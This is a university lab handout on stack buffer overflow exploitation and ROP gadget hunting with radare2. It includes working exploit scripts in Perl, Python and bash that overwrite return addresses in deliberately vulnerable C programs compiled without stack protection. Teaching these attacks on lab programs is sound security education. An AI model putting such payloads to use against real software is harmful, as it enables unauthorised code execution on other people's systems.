



# CM0626 – Malware Reverse Engineering Lab

Paolo Falcarin - April 2025

---

CM0626 – Malware Reverse Engineering Lab .....	1
.....	1
Exercise 1 – Buffer Overflow attacks.....	2
Use of the stack .....	2
.....	3
Example Programs.....	3
Exploit strepy.....	3
Exploit scanf.....	5
Exercise 2 – Advanced buffer overflow exploitation .....	7
Return Oriented Programming .....	7
ROP gadgets hunting with radare2 .....	7

## Exercise 1 – Buffer Overflow attacks

The buffer overflow attack uses input to a poorly implemented, but (in intention) completely harmless application, typically with root / administrator privileges. The buffer overflow attack results from input that is longer than the implementor intended. To understand its inner workings, we need to talk a little bit about how computers use memory.

### Use of the stack

The stack is a region in a program's memory space that is only accessible from the top. There are two operations, push and pop, to a stack. A push stores a new data item on top of the stack, a pop removes the top item. Every process has its own memory space (at least in a decent OS), among them a stack region and a heap region. The stack is used heavily to store local variables and the return address of a function.

For example, assume that we have a function

```
void foo(const char* input) {
    char buf[10];

    printf("Hello World\n");
}
```

When this function is called from another function, for example main:

```
int main(int argc, char* argv[])
{
    foo(argv[1]);
    return 0;
}
```

then the following happens:

1. The calling function pushes the return address, that is the address of the return statement onto the stack.
2. Then the called function pushes zeroes on the stack to store its local variable. Since foo has a variable buf, this means there will be space for 10 characters allocated. The stack thus will look like depicted in Figure 1.




Figure 1: The stack holds the return address, the arguments, and the local variables...

## Example Programs

### Exploit strcpy

We look at the following example program, (you can find a copy of the source code in `~/exercises/2-buffer-overflow/strcpy`). The program simply gets an argument from command-line, passes it to a function as argument and then copies (`strcpy()`) its content to a local variable avoiding any check about input's length. Since the buffer `buf` is 10 bytes long any longer input will cause a stack smash.

```
#include <string.h>
#include <stdio.h>

int main(int argc, char* argv[]);

void foo(const char* input)
{
    char buf[10];

    strcpy(buf, input);
}

void hacked(void)
{
    printf("Application has been hacked by a stack overflow!\n");
}

int main(int argc, char* argv[])
{
    // this makes easier to mount the attack
    printf("Address of foo = %p\n", foo);
    printf("Address of hacked = %p\n", hacked);
    if (argc != 2)
    {
        printf("Please supply a string as an argument!\n");
        return -1;
    }
    foo(argv[1]);
    return 0;
}
```

Compile the program with gcc's default options and run the program with an input long enough to overwrite the return address on the stack:

```
security@radare2:~/exercises/2-buffer-overflow/basic_example$ gcc -g -w -m32 buffer_overflow.c -o
```

```

buffer_overflow_default
security@radare2:~/exercices/2-buffer-overflow/strcpy$ ./buffer_overflow_default
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Address of foo = 0x80484cb
Address of hacked = 0x8048508
*** stack smashing detected ***: ./buffer_overflow_default terminated
Aborted (core dumped)

```

Modern compilers and Operating Systems adopted counter measures against stack-based attacks (e.g. stack canaries) and that is why the application fails.

Now compile the program disabling stack protection and run the program with an input long enough to overwrite the return address on the stack:

```

security@radare2:~/exercices/2-buffer-overflow/basic_example$ gcc -g -w -m32 -fno-stack-protector
buffer_overflow.c -o buffer_overflow

security@radare2:~/exercices/2-buffer-overflow/strcpy$ ./buffer_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Address of foo = 0x804846b
Address of hacked = 0x8048486
Segmentation fault (core dumped)

```

Now the stack is fully compromised and the application just crashes because the protection is disabled. If we are able to push the right value at the right position on the stack we can divert the intended flow and make it call the function hacked(). We just need to replace the original return address with hacked()'s one (0x8048486).

We can know the exact amount of bytes to be pushed to the stack before the address of hacked by analyzing the disassembled version of foo():

```

[0x8048370]> pdf@sym.foo
/ (fcn) sym.foo 27
|   sym.foo (int arg_8h);
|       ; var int local_12h @ ebp-0x12
|       ; arg int arg_8h @ ebp+0x8
|       ; CALL XREF from 0x08048502 (sym.main)
|       ; DATA XREF from 0x080484b3 (sym.main)
|   0x0804846b   55          push ebp //buffer_overflow.c:7 void foo(const char* input)
|   0x0804846c   89e5         mov ebp, esp
|   0x0804846e   83ec18       sub esp, 0x18
|   0x08048471   83ec08       sub esp, 8
|   0x08048474   ff7508       push dword [ebp + arg_8h]
|   0x08048477   8d45ee       lea eax, [ebp - local_12h]
|   0x0804847a   50          push eax
|   0x0804847b   e8b0feffff  call sym.imp.strcpy
|   0x08048480   83c410       add esp, 0x10
|   0x08048483   90          nop
|   0x08048484   c9          leave
|   0x08048485   c3          ret
\

```

Local variable buf starts 18 (0x12) bytes before EBP. We know that the following 4 bytes represent main()'s base pointer, and the 4 following are the return address that will be used by ret instruction to return control flow to main(). Those last 4 bytes have to be replaced with hacked() address.

We can automate the launch process by using a simple perl script to produce such forged input to be provided as argument:

```

#!/usr/bin/perl

$arg = "A"x22 . "\x86\x84\x04\x08";
$cmd = "./buffer_overflow ".$arg;

system($cmd);

```

or alternatively a python script:

```
#!/usr/bin/python

from subprocess import call

call(["./buffer_overflow", "a"*22 + "\x86\x84\x04\x08"])
```

Both are provided in the example directory, we can try to launch one of them:

```
security@radare2:~/exercises/2-buffer-overflow/strcpy$ ./hack_buffer_ouerrun.py
Address of foo = 0x804846b
Address of hacked = 0x8048486
Application has been hacked by a stack overflow!
```

Done! The original application flow has been diverted!

## Exploit scanf

Now we take in exam the following example program, (you can find a copy of the source code in ~/exercises/2-buffer-overflow/scanf. This time input is collected by a function called echo (via scanf), then is printed out and the flow returns to main(). A secretFunction is provided but no code is actually calling it; the goal of this attack is to call that function by providing specially forged input.

```
#include <stdio.h>

void secretFunction()
{
    printf("Congratulations!\n");
    printf("You have entered in the secret function!\n");
    exit(0);
}

void echo()
{
    char buffer[20];

    printf("Enter some text:\n");
    scanf("%s", buffer);
    printf("You entered: %s\n", buffer);
}

int main()
{
    echo();

    return 0;
}
```

Compile the program disabling stack protection:

```
security@radare2:~/exercises/2-buffer-overflow/scanf$ gcc -g -w -m32 -fno-stack-protector
buffer_overflow.c -o buffer_overflow
```

Analyze the disassembled version of vulnerable function echo():

```
[...]
0x080484f9      e872feffff      call sym.imp.puts
```

0x080484fe	83c410	add esp, 0x10
0x08048501	83ec08	sub esp, 8
<b>0x08048504</b>	<b>8d45e4</b>	<b>lea eax, [ebp - local_1ch]</b>
0x08048507	50	push eax
0x08048508	681e860408	push 0x804861e
0x0804850d	e88efeffff	call sym.imp.__isoc99_scanf
[...]		

This time 0x1c (28) bytes are reserved for local variables, so we need to inject 32 bytes of padding before the return address. A bash script that automatizes the process is provided:

```
#!/bin/bash

perl -e 'print "a"x32 . "\xbb\x84\x04\x08" | ./buffer_overflow
```

We just need to execute the script to verify that with forged input the secret function is called:

```
security@radare2:~/exercises/2-buffer-overflow/scanf$ ./exploit_vulnerability.sh
Enter some text:
You entered: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa□□
Congratulations!
You have entered in the secret function!
```

## Exercise 2 – Advanced buffer overflow exploitation

As we demonstrated in exercises 1 and 2 mounting static analysis and buffer-overflow attacks is very straightforward. This is one of the reasons that made researchers design and develop new defensive strategies, i.e. stack protection.

Address Space Layout Randomization (ASLR) is another technique involved in protection from buffer overflow attacks. In order to prevent an attacker from reliably jumping to, for example, a particular exploited function in memory, ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap and libraries.

In this exercise we see an advanced technique to circumvent some security counter measures.

### Return Oriented Programming

Return-oriented programming (ROP) is a computer security exploit technique that allows an attacker to execute code in the presence of security defenses such as non-executable memory and code signing.

In this technique, an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine instruction sequences, called "gadgets". Each gadget typically ends in a return instruction and is located in a subroutine within the existing program and/or shared library code. Chained together, these gadgets allow an attacker to perform arbitrary operations on a machine employing defenses that thwart simpler attacks.

### ROP gadgets hunting with radare2

Gadgets can be found by using automated tools and radare2 includes a great utility to find ROP gadgets. The syntax to find a gadget is:

```
[0x00402309]> "/R/ DESIRED GADGET"
```

where “DESIRED GADGET” is a regular expression.

There are a lot of different ROP gadgets, e.g. “call-to-reg” ones are useful to make calls to arbitrary memory addresses previously copied into registers:

```
security@radare2:~/repository/exercises/3-rop-gadgets$ radare2 /bin/gzip
-- Change the registers of the child process in this way: 'dr eax=0x333'
[0x00402309]> e rop.len = 2
[0x00402309]> "/R/ call r[abcd]x"

0x004023fb          4889e5  mov rbp, rsp
0x004023fe          ffd0    call rax

0x004023fc          89e5    mov ebp, esp
0x004023fe          ffd0    call rax

0x00404a90          89c7    mov edi, eax
0x00404a92          ffd3    call rbx
```

[...]

The “e top.len = 2” line makes radare2 looking for ROPs composed by 2 instructions.

## **Bibliography**

<http://radare.org/r/>

<https://www.exploit-db.com/docs/28479.pdf>

[https://en.wikipedia.org/wiki/Stack\\_buffer\\_overflow](https://en.wikipedia.org/wiki/Stack_buffer_overflow)

[https://en.wikipedia.org/wiki/Buffer\\_overflow\\_protection](https://en.wikipedia.org/wiki/Buffer_overflow_protection)

<https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/>

<http://radare.today/posts/ropnroll/>

Displays printable strings in files included in all linux distributions

<http://sources.redhat.com/binutils/>

HT Editor: File editor/viewer/analyzer for executables.

`sudo apt-get install ht`

<http://hte.sourceforge.net/>